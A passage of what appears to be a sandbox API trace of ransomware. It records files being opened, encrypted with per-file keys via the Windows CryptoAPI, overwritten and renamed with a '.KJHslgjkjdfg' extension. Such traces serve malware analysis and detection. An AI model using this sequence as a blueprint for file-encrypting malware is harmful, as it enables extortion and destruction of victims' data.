lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.708] GetProcessHeap () returned 0x2ef0000 [0201.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.708] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.708] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.710] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.710] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.710] GetProcessHeap () returned 0x2ef0000 [0201.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.710] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.710] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.710] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.710] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.710] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.711] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.711] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.711] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.711] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x610c, lpOverlapped=0x0) returned 1 [0201.712] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6110, dwBufLen=0x6110 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6110) returned 1 [0201.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.712] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6110, lpOverlapped=0x0) returned 1 [0201.712] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.712] SetEndOfFile (hFile=0x130) returned 1 [0201.713] GetProcessHeap () returned 0x2ef0000 [0201.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.713] GetProcessHeap () returned 0x2ef0000 [0201.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.kjhslgjkjdfg")) returned 1 [0201.714] CloseHandle (hObject=0x130) returned 1 [0201.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0201.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.716] GetProcessHeap () returned 0x2ef0000 [0201.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.716] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.716] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.719] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.719] GetProcessHeap () returned 0x2ef0000 [0201.719] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.720] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.720] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3734, lpOverlapped=0x0) returned 1 [0201.721] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740, dwBufLen=0x3740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740) returned 1 [0201.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.721] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3740, lpOverlapped=0x0) returned 1 [0201.721] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.721] SetEndOfFile (hFile=0x130) returned 1 [0201.724] GetProcessHeap () returned 0x2ef0000 [0201.724] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.724] GetProcessHeap () returned 0x2ef0000 [0201.724] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.kjhslgjkjdfg")) returned 1 [0201.725] CloseHandle (hObject=0x130) returned 1 [0201.725] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0201.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.726] GetProcessHeap () returned 0x2ef0000 [0201.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.726] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.726] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.729] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.729] GetProcessHeap () returned 0x2ef0000 [0201.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.729] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.729] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.729] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.729] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x406c, lpOverlapped=0x0) returned 1 [0201.731] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4070, dwBufLen=0x4070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4070) returned 1 [0201.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.731] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4070, lpOverlapped=0x0) returned 1 [0201.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.731] SetEndOfFile (hFile=0x130) returned 1 [0201.734] GetProcessHeap () returned 0x2ef0000 [0201.734] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.734] GetProcessHeap () returned 0x2ef0000 [0201.734] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.kjhslgjkjdfg")) returned 1 [0201.740] CloseHandle (hObject=0x130) returned 1 [0201.740] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0201.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.741] GetProcessHeap () returned 0x2ef0000 [0201.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.743] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.743] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.744] GetProcessHeap () returned 0x2ef0000 [0201.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.744] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.744] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.744] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c4c, lpOverlapped=0x0) returned 1 [0201.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c50, dwBufLen=0x2c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c50) returned 1 [0201.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.746] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c50, lpOverlapped=0x0) returned 1 [0201.746] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.746] SetEndOfFile (hFile=0x130) returned 1 [0201.749] GetProcessHeap () returned 0x2ef0000 [0201.749] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.749] GetProcessHeap () returned 0x2ef0000 [0201.749] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.kjhslgjkjdfg")) returned 1 [0201.750] CloseHandle (hObject=0x130) returned 1 [0201.750] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0201.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.751] GetProcessHeap () returned 0x2ef0000 [0201.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.751] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.751] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.751] GetProcessHeap () returned 0x2ef0000 [0201.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.751] CryptEncrypt (in: 